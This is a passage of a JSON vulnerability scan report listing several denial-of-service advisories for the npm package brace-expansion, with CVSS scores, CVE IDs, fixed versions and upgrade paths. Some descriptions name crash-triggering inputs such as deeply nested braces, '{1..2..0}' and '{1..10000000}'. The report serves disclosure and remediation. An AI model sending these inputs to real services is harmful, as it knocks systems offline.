"Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Gareth Jones", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.20", ">=2.0.0 <2.1.6", ">=3.0.0 <3.0.8", ">=4.0.0 <5.0.11" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.20", "2.1.6", "3.0.8", "5.0.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102278" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-qhr7-859c-m2p7" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:28:47.469361Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:22Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:28:47.672458Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-09T05:49:37.555149Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244952", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "baeseungwon1010", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.19", ">=2.0.0 <2.1.5", ">=3.0.0 <3.0.7", ">=4.0.0 <5.0.10" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.19", "2.1.5", "3.0.7", "5.0.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p", "title": "Maintainer's Advisory" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102276" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-6j4f-fj2g-mc7p" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:36:51.075985Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:21Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:36:51.235635Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-29T19:40:12.310972Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.47050", "probability": "0.00613", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918000Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.26429", "probability": "0.00355", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918521Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.49122", "probability": "0.00643", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-16T14:02:43.227595Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, 